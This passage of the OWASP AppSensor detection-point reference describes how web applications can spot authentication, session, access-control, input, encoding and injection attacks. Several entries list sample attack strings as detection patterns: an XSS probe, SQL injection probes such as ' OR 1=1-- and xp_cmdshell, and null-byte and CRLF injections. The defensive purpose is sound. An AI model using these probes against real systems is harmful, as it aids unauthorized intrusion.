[Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE3#php) |\n\n### AE4: Unexpected Quantity of Characters in Username\n\n| ID | AE4 |\n| --- | --- |\n| Title | Unexpected Quantity of Characters in Username |\n| Category | AuthenticationException |\n| Description | The user provides a username with a large number of characters. |\n| Considerations | \\- |\n| Tuning | (same as RE7) |\n| Examples | The user sends a username that is 200 characters long when 6-8 are\nexpected. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE4#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE4#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE4#php) |\n\n### AE5: Unexpected Quantity of Characters in Password\n\n| ID | AE5 |\n| --- | --- |\n| Title | Unexpected Quantity of Characters in Password |\n| Category | AuthenticationException |\n| Description | The user provides a password with a large number of characters. |\n| Considerations | Higher limits may be required for sites which allow users to have pass\nphrases. |\n| Tuning | (same as RE7) |\n| Examples | Example 1: The user sends a password that is 200 characters long, when\n5-20 are expected.\n\nExample 2: The user sends a PIN of 30 characters. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE5#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE5#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE5#php) |\n\n### AE6: Unexpected Type of Character in Username\n\n| ID | AE6 |\n| --- | --- |\n| Title | Unexpected Type of Character in Username |\n| Category | AuthenticationException |\n| Description | The user provides a username which contains characters outwith the\nexpected range. |\n| Considerations | Any characters below hex value 20 or above 7E are often considered\nillegal (decimal values of below 32 or above 126). |\n| Tuning | Users may be confused between a username, customer identification code\nand their account number, or even between offline and online\nidentifiers. Mis-typing might add a character like \"\\]\" or \"\\#\" if these\nare adjacent to the ENTER/CR key. Whitespace may be appended to values\nwhen copied from a spreadsheet cell (e.g. a line feed character when\ncell values are copied and pasted from Excel). A password may be put in\nthe username field by accident. |\n| Examples | The user sends a username that contains ASCII non-printable characters\nsuch as the NULL byte. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE6#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE6#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE6#php) |\n\n### AE7: Unexpected Type of Character in Password\n\n| ID | AE7 |\n| --- | --- |\n| Title | Unexpected Type of Character in Password |\n| Category | AuthenticationException |\n| Description | The user provides a password containing characters outwith the expected\nrange. |\n| Considerations | Examples include null byte, and characters which need the ALT key to be\nused. |\n| Tuning | (same as AE6) |\n| Examples | The user sends a password that contains ASCII characters below 20 or\nabove 7E. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE7#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE7#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE7#php) |\n\n### AE8: Providing Only the Username\n\n| ID | AE8 |\n| --- | --- |\n| Title | Providing Only the Username |\n| Category | AuthenticationException |\n| Description | The user submits a POST request which only contains the username\nvariable. The password variable has been removed. |\n| Considerations | This is different from only providing the username in the login form\nsince in that case the password variable would be present and empty. |\n| Tuning | \\- |\n| Examples | The user utilizes a proxy tool to remove the password variable from the\nsubmitted POST request. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE8#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE8#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE8#php) |\n\n### AE9: Providing Only the Password\n\n| ID | AE9 |\n| --- | --- |\n| Title | Providing Only the Password |\n| Category | AuthenticationException |\n| Description | The user submits a POST request which only contains the password\nvariable. The username variable has been removed. |\n| Considerations | This is different from only providing the password in the login form\nsince in that case the username variable would be present and empty. |\n| Tuning | \\- |\n| Examples | The user utilizes a proxy tool to remove the username variable from the\nsubmitted POST request. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE9#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE9#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE9#php) |\n\n### AE10: Additional POST Variable\n\n| ID | AE10 |\n| --- | --- |\n| Title | Additional POST Variable |\n| Category | AuthenticationException |\n| Description | Additional, unexpected POST variables are received during an\nauthentication request. |\n| Considerations | \\- |\n| Tuning | (same as RE5) |\n| Examples | The user utilizes a proxy tool to add the POST variable of 'admin=true'\nto the request. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE10#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE10#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE10#php) |\n\n### AE11: Missing POST Variable\n\n| ID | AE11 |\n| --- | --- |\n| Title | Missing POST Variables |\n| Category | AuthenticationException |\n| Description | Expected POST variables are not present within the submitted\nauthentication request. |\n| Considerations | \\- |\n| Tuning | (same as RE6) |\n| Examples | The user utilizes a proxy tool to remove an additional POST variable,\nsuch as 'guest=true', from the POST request. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE11#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE11#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE11#php) |\n\n### AE12: Utilization of Common Usernames\n\n| ID | AE12 |\n| --- | --- |\n| Title | Utilization of Common Usernames |\n| Category | AuthenticationException |\n| Description | Common dictionary usernames are used to attempt to log into the\napplication. |\n| Considerations | \\- |\n| Tuning | Common usernames might be allowed during self-registration or when\nediting account details. |\n| Examples | Log in attempted with usernames \"administrator\", then \"admin\", then\n\"test\" |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE12#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE12#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE12#php) |\n\n### AE13: Deviation from Normal GEO Location\n\n| ID | AE13 |\n| --- | --- |\n| Title | Deviation from Normal GEO Location |\n| Category | AuthenticationException |\n| Description | In some applications, most users log in from one or a just a few\ngeographic locations. If the application learns these GeoIP locations,\nit can then detect when a user is logging into the application from a\ndifferent location. This would help to identify possible account\nhijacking attacks (from phishing, banking trojans). |\n| Considerations | Use of applications while mobile. |\n| Tuning | \\- |\n| Examples | Example 1: A banking customer's IP address has never been seen before\nwhen they log in.\n\nExample 2: A system attempts to authenticate to web services from a\ndifferent country. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE13#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE13#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE13#php) |\n\n## SessionException\n\n| ID | SE1 |\n| --- | --- |\n| Title | Modifying Existing Cookie |\n| Category | SessionException |\n| Description | A request is received containing a cookie with a modified value. |\n| Considerations | This could be determined if the cookie is modified to an illegal value. |\n| Tuning | In a poorly designed application, the length of the cookie value, or the\ncombined size of all the cookies, might possibly exceed that which is\nsupported. |\n| Examples | Example 1: The user utilizes a proxy tool to change the encrypted cookie\nto an alternative value which does not properly decode within the\napplication.\n\nExample 2: The user modifies an unencrypted cookie and sets an illegal\nvalue for a particular variable. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE1#php) |\n\n| ID | SE2 |\n| --- | --- |\n| Title | Adding New Cookie |\n| Category | SessionException |\n| Description | A request is received which contains additional cookies that are not\nexpected by the application. |\n| Considerations | A session cookie existing when it should not (e.g. prior to\nauthentication) is probably indicative of an attack. But cookies may\nalso be set by third party sites which get send with the request - these\nmay be harmless. Also consider what other applications exist on\nsub-domains (e.g. www.example.com, extranet.example.com and\nsales.example.com) which may also be setting cookies. |\n| Tuning | \\- |\n| Examples | The user utilizes a proxy tool to add cookies to the request. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE2#php) |\n\n| ID | SE3 |\n| --- | --- |\n| Title | Deleting Existing Cookie |\n| Category | SessionException |\n| Description | A request is received which does not contain the expected cookies. |\n| Considerations | The user may have bookmarked a page they had visited during a previous\nauthenticated session. |\n| Tuning | In a poorly designed application, the number of cookies might exceed the\nallowed number supported by the user's browser. |\n| Examples | The user utilizes a proxy tool to remove cookies or portions of cookies\nfrom a request. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE3#php) |\n\n| ID | SE4 |\n| --- | --- |\n| Title | Substituting Another User's Valid Session ID or Cookie |\n| Category | SessionException |\n| Description | A request is received which contains cookie data that is clearly from\nanother user or another session. |\n| Considerations | \\- |\n| Tuning | A mis-configured proxy might send the same session ID or cookie for all\nusers. |\n| Examples | The user utilizes a proxy tool to substitute valid data from another\nuser or session into the cookie. An example would be changing some sort\nof identification number within the cookie. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE4#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE4#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE4#php) |\n\n### SE5: Source Location Changes During Session\n\n| ID | SE5 |\n| --- | --- |\n| Title | Source Location Changes During Session |\n| Category | SessionException |\n| Description | Valid requests, containing valid session credentials, are received from\nmultiple source locations indicating a possible session hijacking\nattack. |\n| Considerations | A full IP address may not be constant for some users during normal use\ndue to clustered proxies or while mobile. Enforcing single fixed IP\naddresses for each session in an intranet application may be valid.\nHowever, if the application is accessible over public networks, changing\nIP address cannot be excluded and it may be more useful to consider\nfixing just part of the IP address, or looking for more significant\nchanges such as when the user's IP address geo-location region or\ncountry changes (see [Autonomous System\nNumber](http://www.apnic.net/services/services-apnic-provides/helpdesk/faqs/asn-faqs)\n(ASN) and [Detecting Malice with ModSecurity: GeoLocation\nData](http://blog.modsecurity.org/2010/10/detecting-malice-with-modsecurity-geolocation-data.html)).\nNote: source port number should not be used in checks since this usually\nchanges very frequently. |\n| Tuning | If the full IP address is used for this, it may change slightly from\nrequest to request by the same user. |\n| Examples | Example 1: User A's session is compromised and User B begins using the\naccount. The requests originating from User B will possibly contain a\ndifferent source IP address the User A. The source IP addresses could be\nthe same if both users where behind the same NAT.\n\nExample 2: An application at a fixed server location, which calls web\nservices, changes IP address unexpectedly. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE5#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE5#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE5#php) |\n\n### SE6: Change of User Agent Mid Session\n\n| ID | SE6 |\n| --- | --- |\n| Title | Change of User Agent Mid Session |\n| Category | SessionException |\n| Description | The User-Agent value of the header changes during a session. This may\nindicate a different browser is now being used. Although this value is\nunder the control of the sender, a change in this may indicates that the\nsession has been compromised and is being used another individual. This\nwill likely not be the case that the user has simply copied and pasted\nthe URL from one browser to another on the same system because this\naction would not copy over the appropriate session identifiers. |\n| Considerations | The User Agent string may change in some browsers when the content type\nchanges (e.g. from HTML to PDF). This detection point may only be useful\nin environments where a single browser is deployed. Optionally also\ninclude other HTTP headers in this check. For example, the\nAccept-Encoding and Accept-Language headers do not normally change and\ncould be concatenated with the User-Agent and hashed to created an\nidentifier.\n\nThe [ideas](http://panopticlick.eff.org/about.php) described in\n[Panopticlick](http://panopticlick.eff.org/), [client identification\nmechanisms](https://sites.google.com/a/chromium.org/dev/Home/chromium-security/client-identification-mechanisms),\n[canvas\nfingerprinting](http://www.darknet.org.uk/2014/07/clear-cookies-cant-escape-canvas-fingerprinting/)\nand [JavaScript browser\nfingerprinting](http://www.businessinfo.co.uk/labs/probe/probe.php) can\nalso be used to fingerprint a particular client system but require the\nuse of client-side code. Application owners should check the legality of\ncollecting data, and whether it is considered \"personal data\" which may\nhave additional constraints in some jurisdictions. |\n| Tuning | \\- |\n| Examples | Mid session, the User Agent changes from Firefox to Internet Explorer. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE6#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE6#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_SE6#php) |\n\n## AccessControlException\n\n### ACE1: Modifying URL Argument Within a GET for Direct Object Access Attempt\n\n| ID | ACE1 |\n| --- | --- |\n| Title | Modifying URL Argument Within a GET for Direct Object Access Attempt |\n| Category | AccessControlException |\n| Description | The application is designed to use an identifier for a particular\nobject, such as using categoryID=4 or user=guest within the URL. A user\nmodifies this value in an attempt to access unauthorized information.\nThis exception should be thrown anytime the identifier received from the\nuser is not authorized due to the identifier being non-existent or the\nidentifier not authorized for that user. |\n| Considerations | \\- |\n| Tuning | Bookmarking , truncation, and mistyping issues could lead to some access\ncontrol exceptions. |\n| Examples | The user modifies the following URL from\n\nexample.com/viewpage?page=1\\&user=guest\n\nto\n\nexample.com/viewpage?page=22\\&user=admin |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE1#php) |\n\n### ACE2: Modifying Parameter Within A POST for Direct Object Access Attempt\n\n| ID | ACE2 |\n| --- | --- |\n| Title | Modifying Parameter Within A POST for Direct Object Access Attempt |\n| Category | AccessControlException |\n| Description | The value of a non-free text html form element (i.e. drop down box,\nradio button) is modified to an illegal value. The value either does not\nexist or is not authorized for the user. |\n| Considerations | \\- |\n| Tuning | (same as ACE1 for bookmarking) |\n| Examples | The user utilizes a proxy tool to intercept a POST request and changes\nthe submitted value to a value that was not available through the normal\ndisplay. For example, the user encounters a dropdown box containing the\nnumbers 1 through 10. The user selects 5 and then intercepts the request\nto change the submitted value to 100. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE2#php) |\n\n### ACE3: Force Browsing Attempt\n\n| ID | ACE3 |\n| --- | --- |\n| Title | Force Browsing Attempt |\n| Category | AccessControlException |\n| Description | An authenticated or unauthenticated user sends a request for a\nnon-existent resource (e.g. page, directory listing, image, file, etc),\nor a resource that is not authorized for that user. |\n| Considerations | \\- |\n| Tuning | Requests for non-existent resources may occur for many reasons such as\n[Benign Unexpected URLs - Part 1 - Missing (404 Not Found Error)\nFiles](http://www.clerkendweller.com/2010/10/26/Benign-Unexpected-URLs-Part-1-Missing-Files) |\n| Examples | Example 1: The user is authenticated and requests\nsite.com/PageThatDoesNotExist.\n\nExample 2: The user is authenticated and requests a video they are not\nauthorized to download/view.\n\nExample 3: An unauthenticated user (perhaps with a session ID) requests\na listing of a directory detailed in the site's robots.txt file. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE3#php) |\n\n### ACE4: Evading Presentation Access Control Through Custom POST\n\n| ID | ACE4 |\n| --- | --- |\n| Title | Evading Presentation Access Control Through Custom POST |\n| Category | AccessControlException |\n| Description | A POST request is received which is not authorized for the current user\nand the user could not have performed this action without crafting a\ncustom POST request. |\n| Considerations | This situation is most likely to occur when presentation layer access\ncontrols are in place and have removed the user's ability to initiate\nthe action through the presentation of the application. An attacker may\nbe aware of the functionality and attempt to bypass this presentation\nlayer access control by crafting their own custom message and sending\nthis in an attempt to execute the functionality. |\n| Tuning | \\- |\n| Examples | The application contains the ability for an administrator to delete a\nuser. This method is normally invoked by entering the username and\nsubmitting to Presentation layer access\ncontrols ensure the delete user form is not displayed to\nnon-administrator users. A malicious user has access to a\nnon-administrator account and is aware of the delete user functionality.\nThe malicious user sends a custom crafted POST message to\n in an attempt to execute the delete user\nmethod. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE4#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE4#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_ACE4#php) |\n\n## InputException\n\n### IE1: Cross Site Scripting Attempt\n\n| ID | IE1 |\n| --- | --- |\n| Title | Cross Site Scripting Attempt |\n| Category | InputException |\n| Description | The HTTP request contains common XSS attacks which are often used by\nattackers probing for XSS vulnerabilities. |\n| Considerations | Detection should be configured to test all GET and POST values as well\nas all header names and values for the following values. |\n| Tuning | There are many patterns which could be XSS but may also be normal user\ninput to a free text field e.g. \"Press the 'drop' button\" if a pattern\nwere looking for a single quotation mark followed by SQL commands like\nDROP, INSERT, UPDATE and DELETE. Applications that are used to discuss\nor share information about programming, software development and\nsecurity may want to allow such free text input, provided it is\nencoded/escaped correctly. |\n| Examples | The user utilizes a proxy tool to add an XSS attack to the header value\nand the 'displayname' POST variable. The header value could be displayed\nto an admin viewing log files and the 'displayname' POST variable may be\nstored in the application and displayed to other users. Note, the\nfollowing XSS attacks would only be used by an attacker to probe for\nvulnerability. An actual XSS attack would be customized by the attacker.\n\n```javascript\n \n\nalert(String.fromCharCode(88,83,83))\n \n\n\n\n```\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (41c) XSS Attacks: Cross-site Scripting (XSS) Attack (106 Rules) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE1#php) |\n\n### IE2: Violation Of Implemented White Lists\n\n| ID | IE2 |\n| --- | --- |\n| Title | Violation Of Implemented White Lists |\n| Category | InputException |\n| Description | The application receives user-supplied data that violates an established\nwhite list validation. |\n| Considerations | See AC3 (Force Browsing Attempts) about requests for\nnon-existent/unauthorised (i.e. not white listed) URLs. |\n| Tuning | (same as IE1) |\n| Examples | The user submits data that is not correct for the particular field. This\nmay not be attack data necessarily, but repeated violations could be an\nattempt by the attacker to determine how an application works or to\ndiscover a flaw. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE2#php) |\n\n### IE3: Violation Of Implemented Black Lists\n\n| ID | IE3 |\n| --- | --- |\n| Title | Violation Of Implemented Black Lists |\n| Category | InputException |\n| Description | The application receives user-supplied data that violates an established\nblack list validation. |\n| Considerations | This may not be attack data necessarily, but repeated violations could\nbe an attempt by the attacker to determine how an application works or\nto discover a flaw or to exploit a flaw. This black list approach\nsuffers from the potential for greater false positives than IE2 above,\nand cannot be used to identify all potential malicious data. |\n| Tuning | (same as IE1) |\n| Examples | Example 1: URL in comment field identified as suspected phishing and\nmalware pages using [Google Safe Browsing\nAPI](http://code.google.com/apis/safebrowsing/)).\n\nExample 2: Parameter value matches a known SQL injection pattern.\n\nExample 3: Parameter value matches a known XSS pattern. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE3#php) |\n\n### IE4: Violation of Input Data Integrity\n\n| ID | IE4 |\n| --- | --- |\n| Title | Violation of Input Data Integrity |\n| Category | InputException |\n| Description | The application receives HTTP header or body parameter values which have\nbeen tampered with when no change should have occurred. |\n| Considerations | \\- |\n| Tuning | This detection point should only be used with parameters that cannot be\naltered by accident. Input types text and textarea would not normally be\nsuitable, even if the elements are disabled in the browser. Be wary of\nassuming JavaScript will prevent modification of form elements in all\nconditions. |\n| Examples | Example 1: Hidden form field modified by client.\n\nExample 2: Select list value submitted in response, not sent by server\nas an available option value.\n\nExample 3: Cookie set by server has been manipulated by the client.\n\nExample 4: Cookie created by client instead of by the server. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE4#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE4#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE4#php) |\n\n### IE5: Violation of Stored Business Data Integrity\n\n| ID | IE5 |\n| --- | --- |\n| Title | Violation of Stored Business Data Integrity |\n| Category | InputException |\n| Description | User's input leads to violation of data integrity. |\n| Considerations | \\- |\n| Tuning | \\- |\n| Examples | Example 1: A user's action leads to a system integrity error when\nwriting to, or updating, a database.\n\nExample 2: Business rule checks detect that a user's action is not\ncompatible.\n\nExample 3: Data accuracy checking detects duplicate records for a user.\n\nExample 4: User input leads to an unexpected file change (e.g. .htaccess\nfile overwritten, page template changed).\n\nExample 5: User's request leads to a new, unexpected, outbound network\nconnection being made (e.g. mail sent to an SMTP server, files\ndownloaded from a FTP server). |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE5#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE5#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE5#php) |\n\n### IE6: Violation of Security Log Integrity\n\n| ID | IE6 |\n| --- | --- |\n| Title | Violation of Security Log Integrity |\n| Category | InputException |\n| Description | Security or audit log tampering detected. |\n| Considerations | AppSensor may rely on the accuracy of \"log\" data to make decisions when\nthresholds are reached. This detector aims to detect the insertion of\nforged entries, corruption of logs, unauthorised deletion of and changes\nto records.\n\nSee also:\n\n - [NIST SP 800-92 Guide to Security Log\n Management](http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf)\n - [Tamper Detection in Audit\n Logs](http://www.cs.toronto.edu/vldb04/protected/eProceedings/contents/pdf/RS13P1.PDF)\n - [Forensic Tamper Detection in SQL\n Server](http://www.sqlsecurity.com/images/tamper/tamperdetection.htm) |\n| Tuning | \\- |\n| Examples | Example 1: Special characters embedded in logged data about a user's\nactivity cause the data to overwrite a previous log entry.\n\nExample 2: Log file integrity is broken by modification to an existing\nlog entry. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE6#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE6#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_IE6#php) |\n\n### IE7: Detect Abnormal Content Output Structure\n\n| ID | IE7 |\n| --- | --- |\n| Title | Detect Abnormal Content Output Structure |\n| Category | InputException |\n| Description | Output data is of an unexpected format, structure or contains unexpected\ncomponents. |\n| Considerations | \\- |\n| Tuning | \\- |\n| Examples | Example 1: An abnormal number of inline scripts or iframes are returned\nin an HTML page indicating a successful XSS injection.\n\nExample 2: An XML file generated utilizing user input no longer matches\nthe expected structure/schema/document declaration.\n\nExample 3: Generated JSON data contains does not match expected format. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE2#php) |\n\n## EncodingException\n\n### EE1: Double Encoded Character\n\n| ID | EE1 |\n| --- | --- |\n| Title | Double Encoded Characters |\n| Category | EncodingException |\n| Description | An HTTP request is received which contains one or more double encoded\nvalues. |\n| Considerations | \\- |\n| Tuning | Data supplied by other party systems may have encoding issues. |\n| Examples | The user sends encodes the % symbol to %25 and appends 3C. The user is\nsending %253C which may be interpreted by the application as %3C which\nis actually \\<. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_EE1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_EE1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_EE1#php) |\n\n### EE2: Unexpected Encoding Used\n\n| ID | EE2 |\n| --- | --- |\n| Title | Unexpected Encoding Used |\n| Category | EncodingException |\n| Description | An HTTP request is received which contains values that have encoded in\nan unexpected format. |\n| Considerations | \\- |\n| Tuning | (same as EE1) |\n| Examples | The user encodes an attack such as alert(document.cookie) into the UTF-7\nformat and sends this data the application. This could bypass validation\nfilters and be rendered to a user in certain situations.\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (30c) HTTP Policy Enforcement: Request Content Type Is Not\n Allowed by Policy (960010) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_EE2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_EE2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_EE2#php) |\n\n## CommandInjectionException\n\n### CIE1: Blacklist Inspection for Common SQL Injection Values\n\n| ID | CIE1 |\n| --- | --- |\n| Title | Blacklist Inspection for Common SQL Injection Values |\n| Category | CommandInjectionException |\n| Description | A request is received which contains common SQL injection attack\nattempts. |\n| Considerations | The point of this detection is not to detect all variations of a SQL\ninjection attack, but to detect the common probes which an attacker or\ntool might use to determine if a SQL injection vulnerability is present.\nUnless the site contains some sort of message board for discussing SQL\ninjection, there is little reason that the SQL injection examples should\never be received from a user request. |\n| Tuning | (same as IE1) |\n| Examples | The user sends a request and modifies a URL parameter from category = 5\nto category = 5' OR '1' = '1 in an attempt to perform an SQL injection\nattack. The user could perform similar attacks by modifying POST\nvariables or even the request headers to contain SQL injection attacks.\n' OR '1'='1 ' OR 'a'='a ' OR 1=1-- xp_cmdshell UNION JOIN\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (41c) SQL Injection Attacks (13 Rules)\n - (48e) Bayesian Analysis Detects Probable Attack: SQL Injection\n Attack (-) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE1#php) |\n\n### CIE2: Detect Abnormal Quantity of Returned Records\n\n| ID | CIE2 |\n| --- | --- |\n| Title | Detect Abnormal Quantity of Returned Records |\n| Category | CommandInjectionException |\n| Description | A database query is executed which returns more records than expected. |\n| Considerations | \\- |\n| Tuning | \\- |\n| Examples | Example 1: A query of a non-SQL dataset should only return 1 record but\n100 records are returned.\n\nExample 2: The application is designed to allow a user to maintain 5\nprofiles. A user makes a request to view all of their profiles. The\ndatabase SQL query, which is expected to always return 5 or less\nresults, returns 10,000 records. Something in the application, or user's\nactions, has caused unauthorized data to be returned.\n\nExample 3: Extraction of data from an XML file should only return one\nmatching node, but more than one is returned. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE2#php) |\n\n### CIE3: Null Byte Character in File Request\n\n| ID | CIE3 |\n| --- | --- |\n| Title | Null Byte Character in File Request |\n| Category | CommandInjectionException |\n| Description | A request is received to download a file from the server. The filename\nrequested contains the null byte the file name. This is an attempted OS\ninjection attack. |\n| Considerations | \\- |\n| Tuning | \\- |\n| Examples | The user modifies the filename of the requested file to download to\ncontain the null byte. The null byte can be added by inserting the hex\nvalue %00. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE3#php) |\n\n### CIE4: Carriage Return or Line Feed Character in File Request\n\n| ID | CIE4 |\n| --- | --- |\n| Title | Carriage Return or Line Feed Character in File Request |\n| Category | CommandInjectionException |\n| Description | A request is received which contains the carriage return or line feed\ncharacters within the POST data or the URL parameters. This is an\nattempted HTTP split response attack. |\n| Considerations | \\- |\n| Tuning | \\- |\n| Examples | The user includes the hex value %0D or %0A in the HTTP request POST data\nor URL parameters.\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (40b) Generic Attacks: PHP Injection (959151,958976) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE4#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE4#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_CIE4#php) |\n\n## FileIOException\n\n### FIO1: Detect Large Individual File\n\n| ID | FIO1 |\n| --- | --- |\n| Title | Detect Large Individual File |\n| Category | FileIOException |\n| Description | A file upload feature detects that a large file has been submitted for\nupload which exceeds the maximum upload size. |\n| Considerations | \\- |\n| 